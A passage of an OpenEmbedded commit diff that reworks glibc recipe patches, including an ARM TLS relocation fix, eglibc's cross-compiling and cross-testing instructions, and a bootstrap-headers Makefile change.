++++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
+@@ -6,8 +6,8 @@ LIBC_SLIBDIR_RTLDDIR([lib64], [lib64])
+ # Define default-abi according to compiler flags.
+ AC_CACHE_CHECK([whether the compiler is using the PowerPC64 ELFv2 ABI],
+ [libc_cv_ppc64_elfv2_abi],
+- [AC_EGREP_CPP(yes,[#if _CALL_ELF == 2
+- yes
++ [AC_EGREP_CPP(use_ppc_elfv2_abi,[#if _CALL_ELF == 2
++ use_ppc_elfv2_abi
+ #endif
+ ], libc_cv_ppc64_elfv2_abi=yes, libc_cv_ppc64_elfv2_abi=no)])
+ if test $libc_cv_ppc64_elfv2_abi = yes; then
+@@ -19,8 +19,8 @@ else
+ # Compiler that do not support ELFv2 ABI does not define _CALL_ELF
+ AC_CACHE_CHECK([whether the compiler defines _CALL_ELF],
+ [libc_cv_ppc64_def_call_elf],
+- [AC_EGREP_CPP(yes,[#ifdef _CALL_ELF
+- yes
++ [AC_EGREP_CPP(is_def_call_elf,[#ifdef _CALL_ELF
++ is_def_call_elf
+ #endif
+ ], libc_cv_ppc64_def_call_elf=yes, libc_cv_ppc64_def_call_elf=no)])
+ if test $libc_cv_ppc64_def_call_elf = no; then
diff --git a/meta/recipes-core/glibc/glibc/0010-Quote-from-bug-1443-which-explains-what-the-patch-do.patch b/meta/recipes-core/glibc/glibc/0010-Quote-from-bug-1443-which-explains-what-the-patch-do.patch
deleted file mode 100644
index a140a15479..0000000000
--- a/meta/recipes-core/glibc/glibc/0010-Quote-from-bug-1443-which-explains-what-the-patch-do.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From 9c1f2229c48c37b38628c485ef16e01f6780160c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:20:09 +0000
-Subject: [PATCH 10/28] Quote from bug 1443 which explains what the patch does
- :
-
- We build some random program and link it with -lust. When we run it,
- it dies with a SIGSEGV before reaching main().
-
- Libust.so depends on liburcu-bp.so from the usermode-rcu package.
- Although libust.so is not prelinked, liburcu-bp.so IS prelinked; this
- is critical.
-
- Libust.so uses a TLS / __thread variable that is defined in liburcu-
- bp.so. There are special ARM-specific relocation types that allow two
- shared libraries to share thread-specific data. This is critical too.
-
- One more critical issue: although liburcu-bp.so is prelinked, we can't
- load it at its prelinked address, because we also link against
- librt.so, and librt.so uses that address.
-
- The dynamic linker is forced to relink liburcu-bp.so at a different
- address. In the course of relinking, it processes the special ARM
- relocation record mentioned above. The prelinker has already filled
- in the information, which is a short offset into a table of thread-
- specific data that is allocated per-thread for each library that uses
- TLS. Because the normal behavior of a relocation is to add the symbol
- value to an addend stored at the address being relocated, we end up
- adding the short offset to itself, doubling it.
-
- Now we have an awkward situation. The libust.so library doesn't know
- about the addend, so its TLS data for this element is correct. The
- liburcu-bp.so library has a different offset for the element. When we
- go to initialize the element for the first time in liburcu-bp.so, we
- write the address of the result at the doubled (broken) offset.
- Later, when we refer to the address from libust.so, we check the value
- at the correct offset, but it's NULL, so we eat hot SIGSEGV.
-
-Upstream-Status: Pending
-
-Signed-off-by: Andrei Dinu <andrei.adrianx.dinu@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/arm/dl-machine.h | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/sysdeps/arm/dl-machine.h b/sysdeps/arm/dl-machine.h
-index 7a2f9d9b78..36a1dd1888 100644
---- a/sysdeps/arm/dl-machine.h
-+++ b/sysdeps/arm/dl-machine.h
-@@ -510,7 +510,7 @@ elf_machine_rel (struct link_map *map, const Elf32_Rel *reloc,
-
- case R_ARM_TLS_DTPOFF32:
- if (sym != NULL)
-- *reloc_addr += sym->st_value;
-+ *reloc_addr = sym->st_value;
- break;
-
- case R_ARM_TLS_TPOFF32:
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0010-eglibc-Cross-building-and-testing-instructions.patch b/meta/recipes-core/glibc/glibc/0010-eglibc-Cross-building-and-testing-instructions.patch
new file mode 100644
index 0000000000..295fa315d8
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0010-eglibc-Cross-building-and-testing-instructions.patch
@@ -0,0 +1,616 @@
+From d6300e80c7c010fa7ca33e36e826151558cec498 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:42:58 +0000
+Subject: [PATCH] eglibc: Cross building and testing instructions
+
+Ported from eglibc
+Upstream-Status: Pending
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ GLIBC.cross-building | 383 +++++++++++++++++++++++++++++++++++++++++++
+ GLIBC.cross-testing | 205 +++++++++++++++++++++++
+ 2 files changed, 588 insertions(+)
+ create mode 100644 GLIBC.cross-building
+ create mode 100644 GLIBC.cross-testing
+
+diff --git a/GLIBC.cross-building b/GLIBC.cross-building
+new file mode 100644
+index 0000000000..e6e0da1aaf
+--- /dev/null
++++ b/GLIBC.cross-building
+@@ -0,0 +1,383 @@
++ -*- mode: text -*-
++
++ Cross-Compiling GLIBC
++ Jim Blandy <jimb@codesourcery.com>
++
++
++Introduction
++
++Most GNU tools have a simple build procedure: you run their
++'configure' script, and then you run 'make'. Unfortunately, the
++process of cross-compiling the GNU C library is quite a bit more
++involved:
++
++1) Build a cross-compiler, with certain facilities disabled.
++
++2) Configure the C library using the compiler you built in step 1).
++ Build a few of the C run-time object files, but not the rest of the
++ library. Install the library's header files and the run-time
++ object files, and create a dummy libc.so.
++
++3) Build a second cross-compiler, using the header files and object
++ files you installed in step 2.
++
++4) Configure, build, and install a fresh C library, using the compiler
++ built in step 3.
++
++5) Build a third cross-compiler, based on the C library built in step 4.
++
++The reason for this complexity is that, although GCC and the GNU C
++library are distributed separately, they are not actually independent
++of each other: GCC requires the C library's headers and some object
++files to compile its own libraries, while the C library depends on
++GCC's libraries. GLIBC includes features and bug fixes to the stock
++GNU C library that simplify this process, but the fundamental
++interdependency stands.
++
++In this document, we explain how to cross-compile an GLIBC/GCC pair
++from source. Our intended audience is developers who are already
++familiar with the GNU toolchain and comfortable working with
++cross-development tools. While we do present a worked example to
++accompany the explanation, for clarity's sake we do not cover many of
++the options available to cross-toolchain users.
++
++
++Preparation
++
++GLIBC requires recent versions of the GNU binutils, GCC, and the
++Linux kernel. The web page <http://www.eglibc.org/prerequisites>
++documents the current requirements, and lists patches needed for
++certain target architectures. As of this writing, these build
++instructions have been tested with binutils 2.22.51, GCC 4.6.2,
++and Linux 3.1.
++
++First, let's set some variables, to simplify later commands. We'll
++build GLIBC and GCC for an ARM target, known to the Linux kernel
++as 'arm', and we'll do the build on an Intel x86_64 Linux box:
++
++ $ build=x86_64-pc-linux-gnu
++ $ host=$build
++ $ target=arm-none-linux-gnueabi
++ $ linux_arch=arm
++
++We're using the aforementioned versions of Binutils, GCC, and Linux:
++
++ $ binutilsv=binutils-2.22.51
++ $ gccv=gcc-4.6.2
++ $ linuxv=linux-3.1
++
++We're carrying out the entire process under '~/cross-build', which
++contains unpacked source trees for binutils, gcc, and linux kernel,
++along with GLIBC svn trunk (which can be checked-out with
++'svn co http://www.eglibc.org/svn/trunk eglibc'):
++
++ $ top=$HOME/cross-build/$target
++ $ src=$HOME/cross-build/src
++ $ ls $src
++ binutils-2.22.51 glibc gcc-4.6.2 linux-3.1
++
++We're going to place our build directories in a subdirectory 'obj',
++we'll install the cross-development toolchain in 'tools', and we'll
++place our sysroot (containing files to be installed on the target
++system) in 'sysroot':
++
++ $ obj=$top/obj
++ $ tools=$top/tools
++ $ sysroot=$top/sysroot
++
++
++Binutils
++
++Configuring and building binutils for the target is straightforward:
++
++ $ mkdir -p $obj/binutils
++ $ cd $obj/binutils
++ $ $src/$binutilsv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot
++ $ make
++ $ make install
++
++
++The First GCC
++
++For our work, we need a cross-compiler targeting an ARM Linux
++system. However, that configuration includes the shared library
++'libgcc_s.so', which is compiled against the GLIBC headers (which we
++haven't installed yet) and linked against 'libc.so' (which we haven't
++built yet).
++
++Fortunately, there are configuration options for GCC which tell it not
++to build 'libgcc_s.so'. The '--without-headers' option is supposed to
++take care of this, but its implementation is incomplete, so you must
++also configure with the '--with-newlib' option. While '--with-newlib'
++appears to mean "Use the Newlib C library", its effect is to tell the
++GCC build machinery, "Don't assume there is a C library available."
++
++We also need to disable some of the libraries that would normally be
++built along with GCC, and specify that only the compiler for the C
++language is needed.
++
++So, we create a build directory, configure, make, and install.
++
++ $ mkdir -p $obj/gcc1
++ $ cd $obj/gcc1
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --without-headers --with-newlib \
++ > --disable-shared --disable-threads --disable-libssp \
++ > --disable-libgomp --disable-libmudflap --disable-libquadmath \
++ > --disable-decimal-float --disable-libffi \
++ > --enable-languages=c
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++
++Linux Kernel Headers
++
++To configure GLIBC, we also need Linux kernel headers in place.
++Fortunately, the Linux makefiles have a target that installs them for
++us. Since the process does modify the source tree a bit, we make a
++copy first:
++
++ $ cp -r $src/$linuxv $obj/linux
++ $ cd $obj/linux
++
++Now we're ready to install the headers into the sysroot:
++
++ $ PATH=$tools/bin:$PATH \
++ > make headers_install \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++ > INSTALL_HDR_PATH=$sysroot/usr
++
++
++GLIBC Headers and Preliminary Objects
++
++Using the cross-compiler we've just built, we can now configure GLIBC
++well enough to install the headers and build the object files that the
++full cross-compiler will need:
++
++ $ mkdir -p $obj/glibc-headers
++ $ cd $obj/glibc-headers
++ $ BUILD_CC=gcc \
++ > CC=$tools/bin/$target-gcc \
++ > CXX=$tools/bin/$target-g++ \
++ > AR=$tools/bin/$target-ar \
++ > RANLIB=$tools/bin/$target-ranlib \
++ > $src/glibc/libc/configure \
++ > --prefix=/usr \
++ > --with-headers=$sysroot/usr/include \
++ > --build=$build \
++ > --host=$target \
++ > --disable-profile --without-gd --without-cvs \
++ > --enable-add-ons=nptl,libidn,../ports
++
++The option '--prefix=/usr' may look strange, but you should never
++configure GLIBC with a prefix other than '/usr': in various places,
++GLIBC's build system checks whether the prefix is '/usr', and does
++special handling only if that is the case. Unless you use this
++prefix, you will get a sysroot that does not use the standard Linux
++directory layouts and cannot be used as a basis for the root
++filesystem on your target system compatibly with normal GLIBC
++installations.
++
++The '--with-headers' option tells GLIBC where the Linux headers have
++been installed.
++
++The '--enable-add-ons=nptl,libidn,../ports' option tells GLIBC to look
++for the listed glibc add-ons. Most notably the ports add-on (located
++just above the libc sources in the GLIBC svn tree) is required to
++support ARM targets.
++
++We can now use the 'install-headers' makefile target to install the
++headers:
++
++ $ make install-headers install_root=$sysroot \
++ > install-bootstrap-headers=yes
++
++The 'install_root' variable indicates where the files should actually
++be installed; its value is treated as the parent of the '--prefix'
++directory we passed to the configure script, so the headers will go in
++'$sysroot/usr/include'. The 'install-bootstrap-headers' variable
++requests special handling for certain tricky header files.
++
++Next, there are a few object files needed to link shared libraries,
++which we build and install by hand:
++
++ $ mkdir -p $sysroot/usr/lib
++ $ make csu/subdir_lib
++ $ cp csu/crt1.o csu/crti.o csu/crtn.o $sysroot/usr/lib
++
++Finally, 'libgcc_s.so' requires a 'libc.so' to link against. However,
++since we will never actually execute its code, it doesn't matter what
++it contains. So, treating '/dev/null' as a C source file, we produce
++a dummy 'libc.so' in one step:
++
++ $ $tools/bin/$target-gcc -nostdlib -nostartfiles -shared -x c /dev/null \
++ > -o $sysroot/usr/lib/libc.so
++
++
++The Second GCC
++
++With the GLIBC headers and selected object files installed, we can
++now build a GCC that is capable of compiling GLIBC. We configure,
++build, and install the second GCC, again building only the C compiler,
++and avoiding libraries we won't use:
++
++ $ mkdir -p $obj/gcc2
++ $ cd $obj/gcc2
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot \
++ > --disable-libssp --disable-libgomp --disable-libmudflap \
++ > --disable-libffi --disable-libquadmath \
++ > --enable-languages=c
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++
++GLIBC, Complete
++
++With the second compiler built and installed, we're now ready for the
++full GLIBC build:
++
++ $ mkdir -p $obj/glibc
++ $ cd $obj/glibc
++ $ BUILD_CC=gcc \
++ > CC=$tools/bin/$target-gcc \
++ > CXX=$tools/bin/$target-g++ \
++ > AR=$tools/bin/$target-ar \
++ > RANLIB=$tools/bin/$target-ranlib \
++ > $src/glibc/libc/configure \
++ > --prefix=/usr \
++ > --with-headers=$sysroot/usr/include \
++ > --with-kconfig=$obj/linux/scripts/kconfig \
++ > --build=$build \
++ > --host=$target \
++ > --disable-profile --without-gd --without-cvs \
++ > --enable-add-ons=nptl,libidn,../ports
++
++Note the additional '--with-kconfig' option. This tells GLIBC where to
++find the host config tools used by the kernel 'make config' and 'make
++menuconfig'. These tools can be re-used by GLIBC for its own 'make
++*config' support, which will create 'option-groups.config' for you.
++But first make sure those tools have been built by running some
++dummy 'make *config' calls in the kernel directory:
++
++ $ cd $obj/linux
++ $ PATH=$tools/bin:$PATH make config \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++ $ PATH=$tools/bin:$PATH make menuconfig \
++ > ARCH=$linux_arch CROSS_COMPILE=$target- \
++
++Now we can configure and build the full GLIBC:
++
++ $ cd $obj/glibc
++ $ PATH=$tools/bin:$PATH make defconfig
++ $ PATH=$tools/bin:$PATH make menuconfig
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install install_root=$sysroot
++
++At this point, we have a complete GLIBC installation in '$sysroot',
++with header files, library files, and most of the C runtime startup
++files in place.
++
++
++The Third GCC
++
++Finally, we recompile GCC against this full installation, enabling
++whatever languages and libraries we would like to use:
++
++ $ mkdir -p $obj/gcc3
++ $ cd $obj/gcc3
++ $ $src/$gccv/configure \
++ > --target=$target \
++ > --prefix=$tools \
++ > --with-sysroot=$sysroot \
++ > --enable-__cxa_atexit \
++ > --disable-libssp --disable-libgomp --disable-libmudflap \
++ > --enable-languages=c,c++
++ $ PATH=$tools/bin:$PATH make
++ $ PATH=$tools/bin:$PATH make install
++
++The '--enable-__cxa_atexit' option tells GCC what sort of C++
++destructor support to expect from the C library; it's required with
++GLIBC.
++
++And since GCC's installation process isn't designed to help construct
++sysroot trees, we must manually copy certain libraries into place in
++the sysroot.
++
++ $ cp -d $tools/$target/lib/libgcc_s.so* $sysroot/lib
++ $ cp -d $tools/$target/lib/libstdc++.so* $sysroot/usr/lib
++
++
++Trying Things Out
++
++At this point, '$tools' contains a cross toolchain ready to use
++the GLIBC installation in '$sysroot':
++
++ $ cat > hello.c <<EOF
++ > #include <stdio.h>
++ > int
++ > main (int argc, char **argv)
++ > {
++ > puts ("Hello, world!");
++ > return 0;
++ > }
++ > EOF
++ $ $tools/bin/$target-gcc -Wall hello.c -o hello
++ $ cat > c++-hello.cc <<EOF
++ > #include <iostream>
++ > int
++ > main (int argc, char **argv)
++ > {
++ > std::cout << "Hello, C++ world!" << std::endl;
++ > return 0;
++ > }
++ > EOF
++ $ $tools/bin/$target-g++ -Wall c++-hello.cc -o c++-hello
++
++
++We can use 'readelf' to verify that these are indeed executables for
++our target, using our dynamic linker:
++
++ $ $tools/bin/$target-readelf -hl hello
++ ELF Header:
++ ...
++ Type: EXEC (Executable file)
++ Machine: ARM
++
++ ...
++ Program Headers:
++ Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
++ PHDR 0x000034 0x10000034 0x10000034 0x00100 0x00100 R E 0x4
++ INTERP 0x000134 0x00008134 0x00008134 0x00013 0x00013 R 0x1
++ [Requesting program interpreter: /lib/ld-linux.so.3]
++ LOAD 0x000000 0x00008000 0x00008000 0x0042c 0x0042c R E 0x8000
++ ...
++
++Looking at the dynamic section of the installed 'libgcc_s.so', we see
++that the 'NEEDED' entry for the C library does include the '.6'
++suffix, indicating that was linked against our fully build GLIBC, and
++not our dummy 'libc.so':
++
++ $ $tools/bin/$target-readelf -d $sysroot/lib/libgcc_s.so.1
++ Dynamic section at offset 0x1083c contains 24 entries:
++ Tag Type Name/Value
++ 0x00000001 (NEEDED) Shared library: [libc.so.6]
++ 0x0000000e (SONAME) Library soname: [libgcc_s.so.1]
++ ...
++
++
++And on the target machine, we can run our programs:
++
++ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
++ > ./hello
++ Hello, world!
++ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
++ > ./c++-hello
++ Hello, C++ world!
+diff --git a/GLIBC.cross-testing b/GLIBC.cross-testing
+new file mode 100644
+index 0000000000..b67b468466
+--- /dev/null
++++ b/GLIBC.cross-testing
+@@ -0,0 +1,205 @@
++ -*- mode: text -*-
++
++ Cross-Testing With GLIBC
++ Jim Blandy <jimb@codesourcery.com>
++
++
++Introduction
++
++Developers writing software for embedded systems often use a desktop
++or other similarly capable computer for development, but need to run
++tests on the embedded system, or perhaps on a simulator. When
++configured for cross-compilation, the stock GNU C library simply
++disables running tests altogether: the command 'make tests' builds
++test programs, but does not run them. GLIBC, however, provides
++facilities for compiling tests and generating data files on the build
++system, but running the test programs themselves on a remote system or
++simulator.
++
++
++Test environment requirements
++
++The test environment must meet certain conditions for GLIBC's
++cross-testing facilities to work:
++
++- Shared filesystems. The 'build' system, on which you configure and
++ compile GLIBC, and the 'host' system, on which you intend to run
++ GLIBC, must share a filesystem containing the GLIBC build and
++ source trees. Files must appear at the same paths on both systems.
++
++- Remote-shell like invocation. There must be a way to run a program
++ on the host system from the build system, passing it properly quoted
++ command-line arguments, setting environment variables, and
++ inheriting the caller's standard input and output.
++
++
++Usage
++
++To use GLIBC's cross-testing support, provide values for the
++following Make variables when you invoke 'make':
++
++- cross-test-wrapper
++
++ This should be the name of the cross-testing wrapper command, along
++ with any arguments.
++
++- cross-localedef
++
++ This should be the name of a cross-capable localedef program, like
++ that included in the GLIBC 'localedef' module, along with any
++ arguments needed.
++
++These are each explained in detail below.
++
++
++The Cross-Testing Wrapper
++
++To run test programs reliably, the stock GNU C library takes care to
++ensure that test programs use the newly compiled dynamic linker and
++shared libraries, and never the host system's installed libraries. To
++accomplish this, it runs the tests by explicitly invoking the dynamic
++linker from the build tree, passing it a list of build tree
++directories to search for shared libraries, followed by the name of
++the executable to run and its arguments.
++
++For example, where one might normally run a test program like this:
++
++ $ ./tst-foo arg1 arg2
++
++the GNU C library might run that program like this:
++
++ $ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++(where $objdir is the path to the top of the build tree, and the
++trailing backslash indicates a continuation of the command). In other
++words, each test program invocation is 'wrapped up' inside an explicit
++invocation of the dynamic linker, which must itself execute the test
++program, having loaded shared libraries from the appropriate
++directories.
++
++To support cross-testing, GLIBC allows the developer to optionally
++set the 'cross-test-wrapper' Make variable to another wrapper command,
++to which it passes the entire dynamic linker invocation shown above as
++arguments. For example, if the developer supplies a wrapper of
++'my-wrapper hostname', then GLIBC would run the test above as
++follows:
++
++ $ my-wrapper hostname \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++The 'my-wrapper' command is responsible for executing the command
++given on the host system.
++
++Since tests are run in varying directories, the wrapper should either
++be in your command search path, or 'cross-test-wrapper' should give an
++absolute path for the wrapper.
++
++The wrapper must meet several requirements:
++
++- It must preserve the current directory. As explained above, the
++ build directory tree must be visible on both the build and host
++ systems, at the same path. The test wrapper must ensure that the
++ current directory it inherits is also inherited by the dynamic
++ linker (and thus the test program itself).
++
++- It must preserve environment variables' values. Many GLIBC tests
++ set environment variables for test runs; in native testing, it
++ invokes programs like this:
++
++ $ GCONV_PATH=$objdir/iconvdata \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++ With the cross-testing wrapper, that invocation becomes:
++
++ $ GCONV_PATH=$objdir/iconvdata \
++ my-wrapper hostname \
++ $objdir/elf/ld-linux.so.3 --library-path $objdir \
++ ./tst-foo arg1 arg2
++
++ Here, 'my-wrapper' must ensure that the value it sees for
++ 'GCONV_PATH' will be seen by the dynamic linker, and thus 'tst-foo'
++ itself. (The wrapper supplied with GLIBC simply preserves the
++ values of *all* enviroment variables, with a fixed set of
++ exceptions.)
++
++ If your wrapper is a shell script, take care to correctly propagate
++ environment variables whose values contain spaces and shell
++ metacharacters.
++
++- It must pass the command's arguments, unmodified. The arguments
++ seen by the test program should be exactly those seen by the wrapper
++ (after whatever arguments are given to the wrapper itself). The
++ GLIBC test framework performs all needed shell word splitting and
++ expansion (wildcard expansion, parameter substitution, and so on)
++ before invoking the wrapper; further expansion may break the tests.
++
++
++The 'cross-test-ssh.sh' script
++
++If you want to use 'ssh' (or something sufficiently similar) to run
++test programs on your host system, GLIBC includes a shell script,
++'scripts/cross-test-ssh.sh', which you can use as your wrapper
++command. This script takes care of setting the test command's current
++directory, propagating environment variable values, and carrying
++command-line arguments, all across an 'ssh' connection. You may even
++supply an alternative to 'ssh' on the command line, if needed.
++
++For more details, pass 'cross-test-ssh.sh' the '--help' option.
++
++
++The Cross-Compiling Locale Definition Command
++
++Some GLIBC tests rely on locales generated especially for the test
++process. In a native configuration, these tests simply run the
++'localedef' command built by the normal GLIBC build process,
++'locale/localedef', to process and install their locales. However, in
++a cross-compiling configuration, this 'localedef' is built for the
++host system, not the build system, and since it requires quite a bit
++of memory to run (we have seen it fail on systems with 64MiB of
++memory), it may not be practical to run it on the host system.
++
++If set, GLIBC uses the 'cross-localedef' Make variable as the command
++to run on the build system to process and install locales. The
++localedef program built from the GLIBC 'localedef' module is
++suitable.
++
++The value of 'cross-localedef' may also include command-line arguments
++to be passed to the program; if you are using GLIBC's 'localedef',
++you may include endianness and 'uint32_t' alignment arguments here.
++
++
++Example
++
++In developing GLIBC's cross-testing facility, we invoked 'make' with
++the following script:
++
++ #!/bin/sh
++
++ srcdir=...
++ test_hostname=...
++ localedefdir=...
++ cross_gxx=...-g++
++
++ wrapper="$srcdir/scripts/cross-test-ssh.sh $test_hostname"
++ localedef="$localedefdir/localedef --little-endian --uint32-align=4"
++
++ make cross-test-wrapper="$wrapper" \
++ cross-localedef="$localedef" \
++ CXX="$cross_gxx" \
++ "$@"
++
++
++Other Cross-Testing Concerns
++
++Here are notes on some other issues which you may encounter in running
++the GLIBC tests in a cross-compiling environment:
++
++- Some tests require a C++ cross-compiler; you should set the 'CXX'
++ Make variable to the name of an appropriate cross-compiler.
++
++- Some tests require access to libstdc++.so.6 and libgcc_s.so.1; we
++ simply place copies of these libraries in the top GLIBC build
++ directory.
diff --git a/meta/recipes-core/glibc/glibc/0011-eglibc-Help-bootstrap-cross-toolchain.patch b/meta/recipes-core/glibc/glibc/0011-eglibc-Help-bootstrap-cross-toolchain.patch
new file mode 100644
index 0000000000..9e00da894d
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0011-eglibc-Help-bootstrap-cross-toolchain.patch
@@ -0,0 +1,97 @@
+From 1c8044544d2cbdc529910a3ed6eba4b0ce7ae549 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:49:28 +0000
+Subject: [PATCH] eglibc: Help bootstrap cross toolchain
+
+Taken from EGLIBC, r1484 + r1525
+
+ 2007-02-20 Jim Blandy <jimb@codesourcery.com>
+
+ * Makefile (install-headers): Preserve old behavior: depend on
+ $(inst_includedir)/gnu/stubs.h only if install-bootstrap-headers
+ is set; otherwise, place gnu/stubs.h on the 'install-others' list.
+
+ 2007-02-16 Jim Blandy <jimb@codesourcery.com>
+
+ * Makefile: Amend make install-headers to install everything
+ necessary for building a cross-compiler. Install gnu/stubs.h as
+ part of 'install-headers', not 'install-others'.
+ If install-bootstrap-headers is 'yes', install a dummy copy of
+ gnu/stubs.h, instead of computing the real thing.
+ * include/stubs-bootstrap.h: New file.
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ Makefile | 22 +++++++++++++++++++++-
+ include/stubs-bootstrap.h | 12 ++++++++++++
+ 2 files changed, 33 insertions(+), 1 deletion(-)
+ create mode 100644 include/stubs-bootstrap.h
+
+diff --git a/Makefile b/Makefile
+index a49870d3d1..81673d7645 100644
+--- a/Makefile
++++ b/Makefile
+@@ -79,9 +79,18 @@ subdir-dirs = include
+ vpath %.h $(subdir-dirs)
+
+ # What to install.
+-install-others = $(inst_includedir)/gnu/stubs.h
+ install-bin-script =
+
++# If we're bootstrapping, install a dummy gnu/stubs.h along with the
++# other headers, so 'make install-headers' produces a useable include
++# tree. Otherwise, install gnu/stubs.h later, after the rest of the
++# build is done.
++ifeq ($(install-bootstrap-headers),yes)
++install-headers: $(inst_includedir)/gnu/stubs.h
++else
++install-others = $(inst_includedir)/gnu/stubs.h
++endif
++
+ ifeq (yes,$(build-shared))
+ headers += gnu/lib-names.h
+ endif
+@@ -420,6 +429,16 @@ others: $(common-objpfx)testrun.sh $(common-objpfx)debugglibc.sh
+
+ subdir-stubs := $(foreach dir,$(subdirs),$(common-objpfx)$(dir)/stubs)
+
++# gnu/stubs.h depends (via the subdir 'stubs' targets) on all the .o
++# files in EGLIBC. For bootstrapping a GCC/EGLIBC pair, an empty
++# gnu/stubs.h is good enough.
++ifeq ($(install-bootstrap-headers),yes)
++$(inst_includedir)/gnu/stubs.h: include/stubs-bootstrap.h $(+force)
++ $(make-target-directory)
++ $(INSTALL_DATA) $< $@
++
++installed-stubs =
++else
+ ifndef abi-variants
+ installed-stubs = $(inst_includedir)/gnu/stubs.h
+ else
+@@ -446,6 +465,7 @@ $(inst_includedir)/gnu/stubs.h: $(+force)
+
+ install-others-nosubdir: $(installed-stubs)
+ endif
++endif
+
+
+ # Since stubs.h is never needed when building the library, we simplify the
+diff --git a/include/stubs-bootstrap.h b/include/stubs-bootstrap.h
+new file mode 100644
+index 0000000000..1d2b669aff
+--- /dev/null
++++ b/include/stubs-bootstrap.h
+@@ -0,0 +1,12 @@
++/* Placeholder stubs.h file for bootstrapping.
++
++ When bootstrapping a GCC/EGLIBC pair, GCC requires that the EGLIBC
++ headers be installed, but we can't fully build EGLIBC without that
++ GCC. So we run the command:
++
++ make install-headers install-bootstrap-headers=yes
++
++ to install the headers GCC needs, but avoid building certain
++ difficult headers. The <gnu/stubs.h> header depends, via the
++ EGLIBC subdir 'stubs' make targets, on every .o file in EGLIBC, but
++ an empty stubs.h like this will do fine for GCC. */
diff --git a/meta/recipes-core/glibc/glibc/0011-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch b/meta/recipes-core/glibc/glibc/0011-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch
deleted file mode 100644
index cb99092eef..0000000000
--- a/meta/recipes-core/glibc/glibc/0011-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 171d2afb930917b0cfbe9df770774da1c92dd185 Mon Sep 17 00:00:00 2001
-From: Ting Liu <b28495@freescale.com>
-Date: Wed, 19 Dec 2012 04:39:57 -0600
-Subject: [PATCH 11/28] eglibc: run libm-err-tab.pl with specific dirs in ${S}
-
-libm-err-tab.pl will parse all the files named "libm-test-ulps"
-in the given dir recursively. To avoid parsing the one in
-${S}/.pc/ (it does exist after eglibc adds aarch64 support,
-${S}/.pc/aarch64-0001-glibc-fsf-v1-eaf6f205.patch/ports/sysdeps/
-aarch64/libm-test-ulps), run libm-err-tab.pl with specific dirs
-in ${S}.
-
-Upstream-Status: inappropriate [OE specific]
-
-Signed-off-by: Ting Liu <b28495@freescale.com>
----
- manual/Makefile | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/manual/Makefile b/manual/Makefile
-index 4f76ee85d2..04b8c8c320 100644
---- a/manual/Makefile
-+++ b/manual/Makefile
-@@ -103,7 +103,8 @@ $(objpfx)stamp-libm-err: $(..)math/gen-libm-test.py \
- $(wildcard $(foreach dir,$(sysdirs),\
- $(dir)/libm-test-ulps))
- pwd=`pwd`; \
-- $(PYTHON) $< -s $$pwd/.. -m $(objpfx)libm-err-tmp
-+ $(PYTHON) $< -s $$pwd/../ports -m $(objpfx)libm-err-tmp
-+ $(PYTHON) $< -s $$pwd/../sysdeps -m $(objpfx)libm-err-tmp
- $(move-if-change) $(objpfx)libm-err-tmp $(objpfx)libm-err.texi
- touch $@
-
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0012-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch b/meta/recipes-core/glibc/glibc/0012-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
deleted file mode 100644
index e233fbe542..0000000000
--- a/meta/recipes-core/glibc/glibc/0012-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch
+++ /dev/null
@@ -1,61 +0,0 @@
-From 376be7b96152ef501c8cf95ed6dc52c0318bd26a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:24:46 +0000
-Subject: [PATCH 12/28] __ieee754_sqrt{,f} are now inline functions and call
- out __slow versions
-
-Upstream-Status: Pending
-
-Signed-off-by: chunrong guo <B40290@freescale.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrt.c | 6 +++---
- sysdeps/powerpc/powerpc32/e6500/fpu/e_sqrtf.c | 4 ++--
- 2 files changed, 5 insertions(+), 5 deletions(-)
-
